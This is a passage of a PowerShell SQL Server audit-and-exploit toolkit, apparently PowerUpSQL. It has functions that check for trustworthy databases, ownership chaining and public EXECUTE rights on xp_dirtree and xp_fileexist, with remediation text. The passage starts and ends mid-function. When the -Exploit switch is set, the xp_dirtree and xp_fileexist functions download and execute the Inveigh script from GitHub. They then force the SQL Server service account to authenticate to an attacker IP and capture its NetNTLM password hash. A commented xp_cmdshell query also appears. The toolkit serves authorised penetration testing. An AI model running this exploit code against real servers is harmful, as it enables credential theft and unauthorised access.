# Check for exploit dependancies # Note: Typically secondary configs required for dba/os execution # ----------------------------------------------------------------- # $IsExploitable = "No" or $IsExploitable = "Yes" # Check if the link is alive and verify connection + check if sysadmin # ----------------------------------------------------------------- # Exploit Vulnerability # Note: Add the current user to sysadmin fixed server role # ----------------------------------------------------------------- # $Exploited = "No" or $Exploited = "Yes" # select * from openquery("server\intance",'EXEC xp_cmdshell whoami WITH RESULT SETS ((output VARCHAR(MAX)))') # Also, recommend link crawler module # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } # --------------------------------------- # Invoke-SQLAuditPrivTrustworthy # --------------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditPrivTrustworthy { <# .SYNOPSIS Check if any databases have been configured as trustworthy. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER Exploit Exploit vulnerable issues. .EXAMPLE PS C:\> Invoke-SQLAuditPrivTrustworthy -Instance SQLServer1\STANDARDDEV2014 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : Excessive Privilege - Trustworthy Database Description : One or more database is configured as trustworthy. The TRUSTWORTHY database property is used to indicate whether the instance of SQL Server trusts the database and the contents within it. Including potentially malicious assemblies with an EXTERNAL_ACCESS or UNSAFE permission setting. Also, potentially malicious modules that are defined to execute as high privileged users. Combined with other weak configurations it can lead to user impersonation and arbitrary code exection on the server. Remediation : Configured the affected database so the 'is_trustworthy_on' flag is set to 'false'. A query similar to 'ALTER DATABASE MyAppsDb SET TRUSTWORTHY ON' is used to set a database as trustworthy. A query similar to 'ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF' can be use to unset it. Severity : Low IsVulnerable : Yes IsExploitable : No Exploited : No ExploitCmd : There is not exploit available at this time. Details : The database testdb was found configured as trustworthy. Reference : https://msdn.microsoft.com/en-us/library/ms187861.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 .EXAMPLE PS C:\> Get-SQLInstanceDomain | Invoke-SQLAuditPrivTrustworthy -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED." Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database." Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS." } # Grab server information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $CurrentLogin = $ServerInfo.CurrentLogin $ComputerName = $ServerInfo.ComputerName # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'Excessive Privilege - Trustworthy Database' $Description = 'One or more database is configured as trustworthy. The TRUSTWORTHY database property is used to indicate whether the instance of SQL Server trusts the database and the contents within it. Including potentially malicious assemblies with an EXTERNAL_ACCESS or UNSAFE permission setting. Also, potentially malicious modules that are defined to execute as high privileged users. Combined with other weak configurations it can lead to user impersonation and arbitrary code exection on the server.' $Remediation = "Configured the affected database so the 'is_trustworthy_on' flag is set to 'false'. A query similar to 'ALTER DATABASE MyAppsDb SET TRUSTWORTHY ON' is used to set a database as trustworthy. A query similar to 'ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF' can be use to unset it." $Severity = 'Low' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = 'There is not exploit available at this time.' $Details = '' $Reference = 'https://msdn.microsoft.com/en-us/library/ms187861.aspx' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # Select links configured with static credentials $TrustedDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.DatabaseName -ne 'msdb' -and $_.is_trustworthy_on -eq 'True' } # Update vulnerable status if($TrustedDatabases) { $IsVulnerable = 'Yes' $TrustedDatabases | ForEach-Object -Process { $DatabaseName = $TrustedDatabases.DatabaseName Write-Verbose -Message "$Instance : - The database $DatabaseName was found configured as trustworthy." $Details = "The database $DatabaseName was found configured as trustworthy." $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } else { Write-Verbose -Message "$Instance : - No non-default trusted databases were found." } # ----------------------------------------------------------------- # Check for exploit dependancies # Note: Typically secondary configs required for dba/os execution # ----------------------------------------------------------------- # $IsExploitable = "No" or $IsExploitable = "Yes" # Check if the link is alive and verify connection + check if sysadmin # ----------------------------------------------------------------- # Exploit Vulnerability # Note: Add the current user to sysadmin fixed server role # ----------------------------------------------------------------- # $Exploited = "No" or $Exploited = "Yes" # select * from openquery("server\intance",'EXEC xp_cmdshell whoami WITH RESULT SETS ((output VARCHAR(MAX)))') # Also, recommend link crawler module # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } # --------------------------------------- # Invoke-SQLAuditPrivXpDirtree # --------------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditPrivXpDirtree { <# .SYNOPSIS Check if the current user has privileges to execute xp_dirtree extended stored procedure. If exploit option is used, the script will inject a UNC path to the attacker's IP and capture the SQL Server service account password hash using Inveigh. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER Exploit Exploit vulnerable issues. .PARAMETER AttackerIp IP that the SQL Server service will attempt to authenticate to, and password hashes will be captured from. .PARAMETER TimeOut Number of seconds to wait for authentication from target SQL Server. .EXAMPLE PS C:\> Invoke-SQLAuditPrivXpDirtree -Verbose -Instance SQLServer1\STANDARDDEV2014 -AttackerIp 10.1.1.2 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : Excessive Privilege - Execute xp_dirtree Description : xp_dirtree is a native extended stored procedure that can be executed by members of the Public role by default in SQL Server 2000-2014. Xp_dirtree can be used to force the SQL Server service account to authenticate to a remote attacker. The service account password hash can then be captured + cracked or relayed to gain unauthorized access to systems. This also means xp_dirtree can be used to escalate a lower privileged user to sysadmin when a machine or managed account isnt being used. Thats because the SQL Server service account is a member of the sysadmin role in SQL Server 2000-2014, by default. Remediation : Remove EXECUTE privileges on the XP_DIRTREE procedure for non administrative logins and roles. Example command: REVOKE EXECUTE ON xp_dirtree to Public Severity : Medium IsVulnerable : Yes IsExploitable : Yes Exploited : Yes ExploitCmd : Crack the password hash offline or relay it to another system. Details : The public principal has EXECUTE privileges on XP_DIRTREE procedure in the master database. Recovered password hash! Hash type = NetNTLMv1;Hash = SQLSvcAcnt::Domain:0000000000000000400000000000000000000000000000000:1CEC319E75261CEC319E759E7511E1CEC319E753AB7D: Reference : https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/ Author : Scott Sutherland (@_nullbind), NetSPI 2016 .EXAMPLE PS C:\> Get-SQLInstanceDomain -Verbose | Invoke-SQLAuditPrivXpDirtree -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit, [Parameter(Mandatory = $false, HelpMessage = 'IP that the SQL Server service will attempt to authenticate to, and password hashes will be captured from.')] [string]$AttackerIp, [Parameter(Mandatory = $false, HelpMessage = 'Time in second to way for hash to be captured.')] [int]$TimeOut = 5 ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Excessive Privilege - xp_dirtree" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED." Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - xp_dirtree." Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS." } # Grab server information # Grab server, login, and role information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $ComputerName = $ServerInfo.ComputerName $CurrentLogin = $ServerInfo.CurrentLogin $CurrentLoginRoles = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PrincipalName $CurrentLogin -SuppressVerbose $CurrentPrincpalList = @() $CurrentPrincpalList += $CurrentLogin $CurrentPrincpalList += 'Public' $CurrentLoginRoles | ForEach-Object -Process { $CurrentPrincpalList += $_.RolePrincipalName } # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'Excessive Privilege - Execute xp_dirtree' $Description = 'xp_dirtree is a native extended stored procedure that can be executed by members of the Public role by default in SQL Server 2000-2014. Xp_dirtree can be used to force the SQL Server service account to authenticate to a remote attacker. The service account password hash can then be captured + cracked or relayed to gain unauthorized access to systems. This also means xp_dirtree can be used to escalate a lower privileged user to sysadmin when a machine or managed account isnt being used. Thats because the SQL Server service account is a member of the sysadmin role in SQL Server 2000-2014, by default.' $Remediation = 'Remove EXECUTE privileges on the XP_DIRTREE procedure for non administrative logins and roles. Example command: REVOKE EXECUTE ON xp_dirtree to Public' $Severity = 'Medium' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = 'Crack the password hash offline or relay it to another system.' $Details = '' $Reference = 'https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # Get users and roles that execute xp_dirtree $DirTreePrivs = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName master -SuppressVerbose | Where-Object -FilterScript { $_.ObjectName -eq 'xp_dirtree' -and $_.PermissionName -eq 'EXECUTE' -and $_.statedescription -eq 'grant' } # Update vulnerable status if($DirTreePrivs) { # Status user Write-Verbose -Message "$Instance : - The $PrincipalName principal has EXECUTE privileges on xp_dirtree." $IsVulnerable = 'Yes' $DirTreePrivs | ForEach-Object -Process { $PrincipalName = $DirTreePrivs.PrincipalName # Check if current login can exploit $CurrentPrincpalList | ForEach-Object -Process { $PrincipalCheck = $_ if($PrincipalName -eq $PrincipalCheck -or $PrincipalName -eq 'public') { $IsExploitable = 'Yes' # Check if the current process has elevated privs # https://msdn.microsoft.com/en-us/library/system.security.principal.windowsprincipal(v=vs.110).aspx $CurrentIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $prp = New-Object -TypeName System.Security.Principal.WindowsPrincipal -ArgumentList ($CurrentIdentity) $adm = [System.Security.Principal.WindowsBuiltInRole]::Administrator $IsAdmin = $prp.IsInRole($adm) if (-not $IsAdmin) { Write-Verbose -Message "$Instance : - You do not have Administrator rights. Run this function as an Administrator in order to load Inveigh." $IAMADMIN = 'No' } else { Write-Verbose -Message "$Instance : - You have Administrator rights. Inveigh will be loaded." $IAMADMIN = 'Yes' } # Check for exploit flag if($IAMADMIN -eq 'Yes') { # Attempt to load Inveigh from file #$InveighSrc = Get-Content .\scripts\Inveigh.ps1 -ErrorAction SilentlyContinue | Out-Null #Invoke-Expression($InveighSrc) # Get IP of current system if(-not $AttackerIp) { $AttackerIp = (Test-Connection -ComputerName 127.0.0.1 -Count 1 | Select-Object -ExpandProperty Ipv4Address | Select-Object -Property IPAddressToString -ExpandProperty IPAddressToString) if($AttackerIp -eq '127.0.0.1') { $AttackerIp = Get-WmiObject -Class win32_networkadapterconfiguration -Filter "ipenabled = 'True'" -ComputerName $env:COMPUTERNAME | Select-Object -First 1 -Property @{ Name = 'IPAddress' Expression = { [regex]$rx = '(\d{1,3}(\.?)){4}'; $rx.matches($_.IPAddress)[0].Value } } | Select-Object -Property IPaddress -ExpandProperty IPAddress -First 1 } } # Attempt to load Inveigh via reflection Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1') $TestIt = Test-Path -Path Function:\Invoke-Inveigh if($TestIt -eq 'True') { Write-Verbose -Message "$Instance : - Inveigh loaded." # Get IP of SQL Server instance $InstanceIP = Resolve-DnsName $ComputerName | Select-Object -Property IPaddress -ExpandProperty ipaddress # Start sniffing for hashes from that IP Write-Verbose -Message "$Instance : - Start sniffing..." $null = Invoke-Inveigh -HTTP N -NBNS Y -MachineAccounts Y -WarningAction SilentlyContinue -IP $AttackerIp # Sent unc path to attacker's Ip Write-Verbose -Message "$Instance : - Inject UNC path to \\$AttackerIp\path..." $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "xp_dirtree '\\$AttackerIp\path'" -TimeOut 10 -SuppressVerbose # Stop sniffing and print password hashes Start-Sleep $TimeOut $null = Stop-Inveigh Write-Verbose -Message "$Instance : - Stopped sniffing." $HashType = '' $Hash = '' [string]$PassCleartext = Get-InveighCleartext if($PassCleartext) { $HashType = 'Cleartext' $Hash = $PassCleartext } [string]$PassNetNTLMv1 = Get-InveighNTLMv1 if($PassNetNTLMv1) { $HashType = 'NetNTLMv1' $Hash = $PassNetNTLMv1 } [string]$PassNetNTLMv2 = Get-InveighNTLMv2 if($PassNetNTLMv2) { $HashType = 'NetNTLMv2' $Hash = $PassNetNTLMv2 } if($Hash) { # Update Status Write-Verbose -Message "$Instance : - Recovered $HashType hash:" Write-Verbose -Message "$Instance : - $Hash" $Exploited = 'Yes' $Details = "The $PrincipalName principal has EXECUTE privileges on the xp_dirtree procedure in the master database. Recovered password hash! Hash type = $HashType;Hash = $Hash" } else { # Update Status $Exploited = 'No' $Details = "The $PrincipalName principal has EXECUTE privileges on the xp_dirtree procedure in the master database. xp_dirtree Executed, but no password hash was recovered." } # Clear inveigh cache $null = Clear-Inveigh } else { Write-Verbose -Message "$Instance : - Inveigh could not be loaded." # Update status $Exploited = 'No' $Details = "The $PrincipalName principal has EXECUTE privileges on the xp_dirtree procedure in the master database, but Inveigh could not be loaded so no password hashes could be recovered." } } else { # Update status $Exploited = 'No' $Details = "The $PrincipalName principal has EXECUTE privileges on the xp_dirtree procedure in the master database." } } else { # Update status $IsExploitable = 'No' $Details = "The $PrincipalName principal has EXECUTE privileges the xp_dirtree procedure in the master database." } } # Add record $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } else { Write-Verbose -Message "$Instance : - No logins were found with the EXECUTE privilege on xp_dirtree." } # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - XP_DIRTREE" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } # --------------------------------------- # Invoke-SQLAuditPrivXpFileexist # --------------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditPrivXpFileexist { <# .SYNOPSIS Check if the current user has privileges to execute xp_fileexist extended stored procedure. If exploit option is used, the script will inject a UNC path to the attacker's IP and capture the SQL Server service account password hash using Inveigh. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER Exploit Exploit vulnerable issues. .PARAMETER AttackerIp IP that the SQL Server service will attempt to authenticate to, and password hashes will be captured from. .PARAMETER TimeOut Number of seconds to wait for authentication from target SQL Server. .EXAMPLE PS C:\> Invoke-SQLAuditPrivXpFileexist -Verbose -Instance SQLServer1\STANDARDDEV2014 -AttackerIp 10.1.1.2 .EXAMPLE PS C:\> Get-SQLInstanceDomain -Verbose | Invoke-SQLAuditPrivXpFileexist -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit, [Parameter(Mandatory = $false, HelpMessage = 'IP that the SQL Server service will attempt to authenticate to, and password hashes will be captured from.')] [string]$AttackerIp, [Parameter(Mandatory = $false, HelpMessage = 'Time in second to way for hash to be captured.')] [int]$TimeOut = 5 ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') } Process { # Status User Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Excessive Privilege - xp_fileexist" # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { # Status user Write-Verbose -Message "$Instance : CONNECTION FAILED." Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - xp_fileexist." Return } else { Write-Verbose -Message "$Instance : CONNECTION SUCCESS." } # Grab server information # Grab server, login, and role information $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose $ComputerName = $ServerInfo.ComputerName $CurrentLogin = $ServerInfo.CurrentLogin $CurrentLoginRoles = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PrincipalName $CurrentLogin -SuppressVerbose $CurrentPrincpalList = @() $CurrentPrincpalList += $CurrentLogin $CurrentPrincpalList += 'Public' $CurrentLoginRoles | ForEach-Object -Process { $CurrentPrincpalList += $_.RolePrincipalName } # -------------------------------------------- # Set function meta data for report output # -------------------------------------------- if($Exploit) { $TestMode = 'Exploit' } else { $TestMode = 'Audit' } $Vulnerability = 'Excessive Privilege - Execute xp_fileexist' $Description = 'xp_fileexist is a native extended stored procedure that can be executed by members of the Public role by default in SQL Server 2000-2014. Xp_dirtree can be used to force the SQL Server service account to authenticate to a remote attacker. The service account password hash can then be captured + cracked or relayed to gain unauthorized access to systems. This also means xp_dirtree can be used to escalate a lower privileged user to sysadmin when a machine or managed account isnt being used. Thats because the SQL Server service account is a member of the sysadmin role in SQL Server 2000-2014, by default.' $Remediation = 'Remove EXECUTE privileges on the xp_fileexist procedure for non administrative logins and roles. Example command: REVOKE EXECUTE ON xp_fileexist to Public' $Severity = 'Medium' $IsVulnerable = 'No' $IsExploitable = 'No' $Exploited = 'No' $ExploitCmd = 'Crack the password hash offline or relay it to another system.' $Details = '' $Reference = 'https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/' $Author = 'Scott Sutherland (@_nullbind), NetSPI 2016' # ----------------------------------------------------------------- # Check for the Vulnerability # Note: Typically a missing patch or weak configuration # ----------------------------------------------------------------- # Get users and roles that execute xp_fileexist $DirTreePrivs = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName master -SuppressVerbose | Where-Object -FilterScript { $_.ObjectName -eq 'xp_fileexist' -and $_.PermissionName -eq 'EXECUTE' -and $_.statedescription -eq 'grant' } # Update vulnerable status if($DirTreePrivs) { # Status user Write-Verbose -Message "$Instance : - The $PrincipalName principal has EXECUTE privileges on xp_fileexist." $IsVulnerable = 'Yes' $DirTreePrivs | ForEach-Object -Process { $PrincipalName = $DirTreePrivs.PrincipalName # Check if current login can exploit $CurrentPrincpalList | ForEach-Object -Process { $PrincipalCheck = $_ if($PrincipalName -eq $PrincipalCheck) { $IsExploitable = 'Yes' # Check if the current process has elevated privs # https://msdn.microsoft.com/en-us/library/system.security.principal.windowsprincipal(v=vs.110).aspx $CurrentIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $prp = New-Object -TypeName System.Security.Principal.WindowsPrincipal -ArgumentList ($CurrentIdentity) $adm = [System.Security.Principal.WindowsBuiltInRole]::Administrator $IsAdmin = $prp.IsInRole($adm) if (-not $IsAdmin) { Write-Verbose -Message "$Instance : - You do not have Administrator rights. Run this function as an Administrator in order to load Inveigh." $IAMADMIN = 'No' } else { Write-Verbose -Message "$Instance : - You have Administrator rights. Inveigh will be loaded." $IAMADMIN = 'Yes' } # Get IP of current system if(-not $AttackerIp) { $AttackerIp = (Test-Connection -ComputerName 127.0.0.1 -Count 1 | Select-Object -ExpandProperty Ipv4Address | Select-Object -Property IPAddressToString -ExpandProperty IPAddressToString) if($AttackerIp -eq '127.0.0.1') { $AttackerIp = Get-WmiObject -Class win32_networkadapterconfiguration -Filter "ipenabled = 'True'" -ComputerName $env:COMPUTERNAME | Select-Object -First 1 -Property @{ Name = 'IPAddress' Expression = { [regex]$rx = '(\d{1,3}(\.?)){4}'; $rx.matches($_.IPAddress)[0].Value } } | Select-Object -Property IPaddress -ExpandProperty IPAddress -First 1 } } # Check for exploit flag if($IAMADMIN -eq 'Yes') { # Attempt to load Inveigh from file #$InveighSrc = Get-Content .\scripts\Inveigh.ps1 -ErrorAction SilentlyContinue #Invoke-Expression($InveighSrc) # Attempt to load Inveigh via reflection Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1') $TestIt = Test-Path -Path Function:\Invoke-Inveigh if($TestIt -eq 'True') { Write-Verbose -Message "$Instance : - Inveigh loaded." # Get IP of SQL Server instance $InstanceIP = Resolve-DnsName $ComputerName | Select-Object -Property IPaddress -ExpandProperty ipaddress # Start sniffing for hashes from that IP Write-Verbose -Message "$Instance : - Start sniffing..." $null = Invoke-Inveigh -HTTP N -NBNS Y -MachineAccounts Y -WarningAction SilentlyContinue -IP $AttackerIp # Sent unc path to attacker's Ip Write-Verbose -Message "$Instance : - Inject UNC path to \\$AttackerIp\path..." $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "xp_fileexist '\\$AttackerIp\file'" -TimeOut 10 -SuppressVerbose # Stop sniffing and print password hashes Start-Sleep $TimeOut $null = Stop-Inveigh Write-Verbose -Message "$Instance : - Stopped sniffing." $HashType = '' $Hash = '' [string]$PassCleartext = Get-InveighCleartext if($PassCleartext) { $HashType = 'Cleartext' $Hash = $PassCleartext } [string]$PassNetNTLMv1 = Get-InveighNTLMv1 if($PassNetNTLMv1) { $HashType = 'NetNTLMv1' $Hash = $PassNetNTLMv1 } [string]$PassNetNTLMv2 = Get-InveighNTLMv2 if($PassNetNTLMv2) { $HashType = 'NetNTLMv2' $Hash = $PassNetNTLMv2 } if($Hash) { # Update Status Write-Verbose -Message "$Instance : - Recovered $HashType hash:" Write-Verbose -Message "$Instance : - $Hash" $Exploited = 'Yes' $Details = "The $PrincipalName principal has EXECUTE privileges on xp_fileexist procedure in the master database. Recovered password hash! Hash type = $HashType;Hash = $Hash" } else { # Update Status $Exploited = 'No' $Details = "The $PrincipalName principal has EXECUTE privileges on xp_fileexist procedure in the master database. xp_fileexist Executed, but no password hash was recovered." } # Clear inveigh cache $null = Clear-Inveigh } else { Write-Verbose -Message "$Instance : - Inveigh could not be loaded." # Update status $Exploited = 'No' $Details = "The $PrincipalName principal has EXECUTE privileges on xp_fileexist procedure in the master database, but Inveigh could not be loaded so no password hashes could be recovered." } } else { # Update status $Exploited = 'No' $Details = "The $PrincipalName principal has EXECUTE privileges on xp_fileexist procedure in the master database." } } else { # Update status $IsExploitable = 'No' $Details = "The $PrincipalName principal has EXECUTE privileges on xp_fileexist procedure in the master database." } } # Add record $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } else { Write-Verbose -Message "$Instance : - No logins were found with the EXECUTE privilege on xp_fileexist." } # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - xp_fileexist" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } } # --------------------------------------- # Invoke-SQLAuditPrivDbChaining # --------------------------------------- # Author: Scott Sutherland Function Invoke-SQLAuditPrivDbChaining { <# .SYNOPSIS Check if data ownership chaining is enabled at the server or databases levels. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER NoDefaults Don't return information for default databases. .PARAMETER NoOutput Don't return output. .PARAMETER Exploit Exploit vulnerable issues. .EXAMPLE PS C:\> Invoke-SQLAuditPrivDbChaining -Instance SQLServer1\STANDARDDEV2014 ComputerName : NETSPI-283-SSU Instance : NETSPI-283-SSU\STANDARDDEV2014 Vulnerability : Excessive Privilege - Database Ownership Chaining Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can lead to unauthorized access to database resources. Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining. Severity : Low IsVulnerable : Yes IsExploitable : No Exploited : No ExploitCmd : There is not exploit available at this time. Details : The database testdb was found configured with ownership chaining enabled. Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/library/bb669059(v=vs.110).aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 .EXAMPLE PS C:\> 